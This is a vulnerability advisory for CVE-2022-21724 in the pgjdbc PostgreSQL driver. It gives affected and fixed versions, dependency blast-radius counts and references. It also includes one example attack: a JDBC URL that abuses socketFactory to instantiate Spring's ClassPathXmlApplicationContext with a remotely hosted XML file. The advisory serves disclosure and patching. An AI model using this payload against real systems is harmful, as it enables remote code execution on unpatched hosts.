CVE-2022-21724
pgjdbc Does Not Check Class Instantiation when providing Plugin Classes
Description
Impact
pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.
However, the driver did not verify if the class implements the expected interface before instantiating the class.
Here's an example attack using an out-of-the-box class from Spring Framework:
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");
The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)
Affected Maven artifacts (1)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| org.postgresql » postgresql | >= 9.4.1208, < 42.2.25>= 42.3.0, < 42.3.2 | 42.2.25, 42.3.2 |
Blast radius
50% of the dependent artifacts (4,125) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 75,400 |
| 2 hops | 232,351 |
| 3 hops | 95,178 |
| 4 hops | 39,786 |
| 5 hops | 13,104 |
| 6 hops | 6,792 |
Most used dependents
- org.apache.spark » spark-sql3,174 usages
- org.apache.kafka » kafka-clients3,135 usages
- org.apache.spark » spark-core2,899 usages
- org.apache.kafka » kafka1,450 usages
- org.apache.spark » spark-mllib831 usages
- com.atlassian.confluence » confluence724 usages
- org.apache.hive » hive-exec699 usages
- org.apache.spark » spark-streaming670 usages
- org.apache.spark » spark-hive633 usages
- org.dbunit » dbunit596 usages
- org.openmrs.api » openmrs-api564 usages
- org.apache.camel.springboot » camel-core-starter558 usages
- org.openmrs.web » openmrs-web521 usages
- org.openmrs.test » openmrs-test514 usages
- org.apache.kafka » kafka-streams513 usages
Computed from the dependency graph of build 20261124.0621 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
References
- Webhttps://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4
- Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2022-21724
- Webhttps://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813
- Packagehttps://github.com/pgjdbc/pgjdbc
- Webhttps://lists.debian.org/debian-lts-announce/2022/05/msg00027.html
- Webhttps://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BVEO7BEFXPBVHSPYL3YKQWZI6DYXQLFS
- Webhttps://security.netapp.com/advisory/ntap-20220311-0005
- Webhttps://www.debian.org/security/2022/dsa-5196
